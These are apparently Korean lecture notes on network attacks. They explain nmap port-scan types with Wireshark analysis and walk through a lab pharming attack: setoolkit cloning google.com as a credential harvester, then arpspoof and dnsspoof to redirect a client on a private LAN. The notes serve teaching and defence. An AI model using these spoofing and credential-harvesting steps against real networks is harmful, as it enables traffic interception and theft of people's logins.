공격자(attacker)
-Target 선정 작업(정보 수집)
- Target 선정 ==> 취약점 점검
- 취약점 공격(파괴, 데이터유출, 도청)
- 로그 삭제
- 백도어 설치
네트워크 공격
네트워크 공격 중 Port Scan, Pharming, DDos 공격 3가지를 보고 패킷 분석을 해보겠습니다.
Port Scan(포트 스캔)
sniffing : 도청
spoofing : 위장
정보수집 단계에서 진행하는 작업입니다. Port Scan은 실제 공격방법을 결정하거나 공격에 이용될 수 있는 네트워크 구조, 시스템이 제공하는 서비스 등의 정보를 얻기 위해 수행되는 방법입니다. 이 컴퓨터가 어떤 서비스를 제공해줄 수 있지? 즉, 어떤 포트를 개방해놨지? 를 확인하는 것입니다.
- 공격 대상 보안 장비 사용현황
- 우회 가능 네트워크 구조
- 시스템 플랫폼 형태
- 시스템 운영체제의 거널 버전의 종류
- 제공 서비스 종류
(Kali 실습)
fping은 윈도우에서는 없고, 칼리 자체에는 이 프로그램이 설치 되어 있어서 사용 가능합니다. 윈도우에서 쓰려면 설치해야합니다.
[명령어 입력]
# fping -g 192.168.10.0/24
위의 명령어는 그룹핑하는 작업입니다. alive를 보면 총 4개가 살아있습니다. 192.168.10.0망에는 컴퓨터가 총 4개가 살아있는 것을 확인할 수 있습니다. 192.168.10.X 에서 X는 1부터 254까지 나올 수 있는데, 0은 네트워크 주소이고, 255는 브로드캐스트 주소입니다. 숫자를 바꿔가면서 echo request를 주고 echo reply를 받기위한 작업입니다.
ping 하나가 나가려고 하더라도 192.168.10.1 이 컴퓨터의 MAC address가 필요합니다. 그래서 이 ARP request를 내보내고 ARP reply가 온 것들에게만 echo request/reply를 진행합니다.
디스플레이 필터에 arp를 검색해보면 arp는 많이 잡히는데 icmp는 많이 잡히지 않습니다. reply만 보고싶으면 arp.opcode == 2 필터를 넣는다. (1을 넣으면 request)
nmap
Port Scan을 하는 가장 대표적인 프로그램 중 하나가 nmap입니다. nmap은 공격용 프로그램이기도 하지만, 실제 관제사들이 많이 사용합니다. 운영체제 종류 및 사용 서비스에 대한 정보 스캔도구 입니다.(network mapper)
예를 들어, 192.168.10.20에 방문을 두드렸을 때 포트가 열려있는지 확인합니다.
스캔 옵션 | 내용 |
-sT | connect()함수를 이용한 open 스캔 |
-sS | 세션을 성립시키지 않는 TCP syn 스캔 |
-sF | Fin 패킷을 이용한 스캔 |
-sN | Null 패킷을 이용한 스캔 |
-sX | XMax 패킷을 이용한 스캔 |
-sU | UDP 포트 스캔 |
-sA | Ack 패킷에 대한 TTL 값의 분석 |
TCP Full Open Scan
Port Scan 중에서도 TCP scan은 3way hand shake를 통한 공격입니다. 계속해서 syn을 날리고, syn해서 ack가 오면 그 포트가 열려있음을 알 수 있습니다.
- 포트가 열려 있는 경우 SYN/ACK 패킷 수신
- SYN/ACK에 ACK 패킷을 전송함으로써 연결을 완료
- 스캔하고자 하는 포트에 접속을 시도해 완전한 TCP 연결을 맺어 신뢰성 있는 결과 얻음
- 속도가 느리고 로그를 남기므로 탐지가 가능하다는 단점이 있음
(Kali 실습)
[명령어 입력]
# nmap -sT 192.168.10.20
위의 명령어는 열려있는 포트를 확인하는 명령어입니다. 21번, 22번, 23번, 24번, 53번 등의 포트들이 열려있는 것을 확인할 수 있습니다. 특정 컴퓨터의 열려있는 포트를 확인하는 공격입니다.(1~65535개 중)
[명령어 입력]
# nmap -sT -O 192.168.10.20
# nmap -sT -O 192.168.10.30
옵션 O는 밑에서 운영체제 정보, 커널 버전을 확인할 수 있습니다. 커널버전이 오픈된다는 것은 굉장히 위험합니다. 포트가 개방되어 있다는건 개방된 포트의 취약점을 찾아 들어가는 것입니다.(<-서비스 취약점) 커널의 취약점을 공격해서 시스템 공격을 할 수 있습니다.(<-커널 버전) 또한 옵션을 통해 나와의 거리도 알 수 있습니다.
20보다 30이 포트가 더 적게 열려있습니다. SMA는 파일을 공유할 떄 사용하는 프로토콜 입니다. 이 프로토콜은 139와 445 포트를 사용합니다. 30을 보면 139와 445 포트를 열어놓은걸 보니 SMA를 사용하는 것을 알 수 있습니다. 공격자는 SMA 프로토콜의 취약점을 이용하여 공격합니다. 즉, 공격자가 공격대상자를 선정하기 위해서, 공격방법을 찾기 위해서 Port Scan을 사용합니다.
nmap -sT -O 192.168.10.20을 입력했을 때, wireshark에서 보면 syn이 계속해서 나갑니다. 이런 식으로 포트를 바꿔가면서 syn를 계속보낸다는 것은 공격을 위해 문이 열려있나 안열려있나 확인하는 것입니다.
port scan은 공격전 사전준비라고 생각 -> 수동적 공격
닫힌 포트의 경우 빨간색 처럼 RST/ACK로 응답합니다. 열린 포트의 경우 ACK/SYN으로 응답합니다.
ack 해당포트가 열려있으면 오는 반응, rsk 포트가 열려있지 않으면 오는 마크입니다. syn이나 rst가 많이 온다는 것은 port scan 공격이라고 예측할 수 있습니다. 방화벽이 설정(차단정책)되어 있으면 syn를 보내도 답이 돌아오지 않습니다.
사실 Port Scan은 사내망 관리자들이 우리 회사의 취약점을 점검하기 위해 사용하는 방법이다. 공격자들은 잘 안쓰는데, 이유는 상대방에게 자신의 주소가 노출되기 때문입니다.
TCP Half Open Scan
Full Scan을 하면 로그가 남습니다. 그래서 로그를 남기지 않고 추적을 남기지 않기 위해 하프스캔을 진행합니다.
- 세션에 대한 로그가 남는 TCP Full Open Scan을 보완하기 위해 만들어짐
- 공격대상으로부터 SYN/ACK 패킷을 받으면 공격자는 RST 패킷을 보내 연결을 끊음
- 세션을 완전히 연결하지 않음
- 로그를 남기지 않아 추적이 불가능하도록 하는 기법
(Kali 실습)
[명령어 입력]
# nmap -sS 192.168.10.20
Wireshark를 보면 10이 20에게 포트번호를 바꿔가면서 SYN을 던집니다. 그다음 20이 10에게 포트가 닫혀있음을 RST/ACK로 응답합니다. 또 다른 경우는 20이 10에게 SYK/ACK를 보내고, 10이 20에게 RST로 응답하는 경우가 있습니다. 이 경우는 20이 그 포트 열려있어 너 나랑 연결할래?라고 물었는데 10이 아니 나 바빠 미안, 하고 거절응답을 하는 경우입니다.
SYN :안녕 거기 80번 포트 열려있니?
ACK: 응 열려있어 syn: 우리 연결할래?
RST: 미안 나 바빠서 이만 가볼게(연결안함)
WireShark 디스플레이 필터 입력 > tcp.flags.reset==1
20->10 에게 보내는 것도 있고, (그 포트 닫혀있어 라고 응답하는 것)
10->20에게 보내는 것도 있다. (포트가 살아있는 것을 확인하고, 서버쪽에 내정보를 남기지 않기 위해 연결 강제 종료)
Stealth Scan(스텔스 스캔)
Stealth Scan은 3 way handshake 연결 기법을 이용한 것은 아닙니다. TCP 헤더를 조작하여 특수한 패킷을 만들어 스캔 대상의 시스템을 보내어 그 응답으로 포트 활성화 여부를 알아내는 기법입니다. 세션을 성립하지 않고 공격 대상 시스템 포트 활성화 여부를 알아내기 때문에 공격 대상 시스템에 로그를 남기지 않습니다. 공격 대상의 시스템 관리자는 어떤 IP를 가진 공격자가 시스템을 스캔했는지를 확인할 수 없습니다.
FIN Scan
finish 플래그는 연결종료할때 사용합니다. target 입장에서는 세션을 맺은 적이 없는데 fin을 보내니 대답할 가치가 없어서 답 안합니다(열림), 만약 열리지 않은 포트에서 finish가 오면 '나 포트 닫혀있어 너가 알아서 끊어'라는 의미입니다.(닫힘)
한 컴퓨터에서 FIN이 많이 왔다는건 Port Scan 공격이 들어왔구나를 의심해야합니다.
(Kali 실습)
[명령어 입력]
# nmap -sF 192.168.10.20
회색은 fin=1, 빨간색은 fin=0, 열린포트 응답 없음, 닫힌포트 RST 응답
Xmas Scan
FIN,PSH,URG을 설정해서 전송하는 것으로, 열린포트 응담 없음, 닫힌포트 RST 응답
psh는 세그먼트보다 작은 데이터를 전송할 때 사용하고, fin은 전송 종료할 때 사용합니다. 즉, 같이 공존할 수 없는데 같이 나오기 때문에 이건 문제라고 볼 수 있습니다.
(Kali 실습)
[명령어 입력]
# nmap -sX 192.168.10.20
Null Scan
플래그 설정을 하지 않고 패킷을 전송하는 것으로, 열린포트 응답 없음, 닫힌포트 RST 응답
(Kali 실습)
[명령어 입력]
# nmap -sN 192.168.10.20
UDP Scan
UDP는 ACK가 아닌 UDP로 응답하는 구조입니다. 대답이라기보다는 UDP data를 보내고 UDP data를 받는 것입니다.
닫힌 포트인 경우에는 UDP자체가 질의응답을 해주는 것이 아닌 3계층에서 ICMP Unreachable이라고 응답해줍니다.
- UDP는 3 way handshake 같은 절차가 없음
- UDP 패킷을 전송 시 열려있는 포트로 부터 특정 UDP 응답 값으로 수신
- 수신측의 포트가 닫혀있는 경우 에러메시지를 통해 포트 활성화 유무 확인
(Kali 실습)
[명령어 입력]
# nmap -sU 192.168.10.20
Pharming Attack
피싱(phishing) + 조작(Farming)의 합성어입니다. 정상적인 사이트에 접속하더라도 가짜 사이트로 접속을 유도하여 금융거래 및 정보를 빼낸 후 금전적인 피해를 입히는 사기 수법입니다.
Spoofing
ARP, DNS 사용
Spoofing : 위장
ARP Spoofing
- MAC address를 속이는 것
- 2계층에서 작동해 공격 대상이 같은 랜에 있어야함
PCA에서 구글, 네이버 등 웹사이트를 이동하려면 R1(게이트웨이)의 MAC address가 필요합니다. PCA가 외부로 나가기위해서는 게이트웨이 MAC address가 꼭 필요합니다.(수신지의 MAC address가 아님) PCA가 R1에게 '너 MAC address가 뭐야?'라고 물어봅니다. ARP request는 브로드캐스트 방식이기 때문에 공격자도 이것을 받을 수 있습니다. 그래서 공격자가 자기가 마치 게이트웨이인 것 마냥 MAC address를 속여서 보냅니다. 즉, ARP Spoofing은 Client의 ARP 캐시 테이블을 공격하는 것입니다. 실제로 전혀 다른 주소가 들어가게 만듭니다.
DNS Spoofing
- 실제 DNS 서버보다 빠르게 위조된 DNS response 패킷을 보내 공격 대상이 잘못된 IP 주소로 웹 접속을 하도록 만드는 공격 방법
- 즉, 가짜IP를 알려주는 것
- 클라이언트는 이미 DNS response를 받았으므로 정상 DNS response는 버리게 됨
수신지 IP 조회방법
1. dns 캐시 조회
2. hosts.txt 파일 조회
3. dns server 질의
일반적으로 DNS Spoofing에는 이런 방식도 있습니다. 클라이언트가 DNS서버(외부망)한테 '네이버주소가 뭐야'라고 물어보는데 DNS는 외부망이므로 시간차가 좀 있어서 공격자가 자신이 외부망인것처럼 넘겨주는 경우가 있습니다.
실습순서
1) 위조 사이트 만들기
2) ARP Spoofing
3) DNS Spoofing
4) Pharming 공격 성공여부 확인
1) 위조 사이트 만들기
[Kali 명령어 입력]
# 이것은 주석입니다.
# setoolkit
> y
# 내가 하려고 하는 것은 Social Engineering Attack이다.
set > 1
# 내가 하려고 하는 것은 웹 사이트 공격이다.
set > 2
# Credential Harvester Attack
set:webattack > 3
# 사이트 복제
set:webattack > 2
# enter 치기
set:webattack > Enter the url to clone: www.google.com
[위조 사이트 확인]
Client(window)에서 웹사이트를 열어 http://192.168.10.10(칼리주소) 입력하여 구글사이트가 뜨면 성공입니다.
2) ARP Spoofing
[Client cmd 명령어 입력]
# ARP Spoofing을 하기 전에 Client cmd에서 ARP 테이블을 확인해보려고 합니다.
> arp -a
[Kali 명령어 입력]
# 새로운 cmd 창 열기
# 기존에 위조 사이트 만들어두었던 것은 없애면 안됨
$ sudo su -
# apt update
# dsniff 설치
# apt install -y dsniff
# 이 랜카드의 MAC address를 타겟에게 알려줘 라는 의미
# arpspoof –i eth0 –t 192.168.10.30 192.168.10.2
[ARP Spoofing 확인]
Client cmd로 가서 arp -a 명령어로 ARP 캐시 테이블을 확인해봅니다. 10.2와 10.10 즉, 게이트웨이의 MAC address와 Kali의 Mac address가 동일합니다.
3) DNS Spoofing
[Kali 명령어 입력]
# 새로운 cmd 창 열기
# 기존에 위조 사이트, ARP Spoofing 만들어두었던 것은 없애면 안됨
$ sudo su -
# cd /
# nano dns
(안에서 192.168.10.10 www.sks.com 입력)
# dnsspoof -f /dns
[Client cmd 명령어 입력]
> ping http://www.sks.com
위의 명령어로 핑을 보냈을 때 이름 부분에 [192.168.10.10] 뜨면 성공입니다.
4) Pharming 공격 성공여부 확인
Client(window)에서 웹사이트를 열고 www.sks.com을 입력합니다. 그때 구글 사이트가 나오면 성공입니다.
[정리]
공격성공여부는 아래 명령어로 확인 가능
arp -a ==> arp 공격 성공 여부 확인
ping http://www.sks.com
ipconfig /displaydns ==> dns 공격 성공 여부 확인
http://www.sks.com ==> 파밍 공격 성공 여부 확인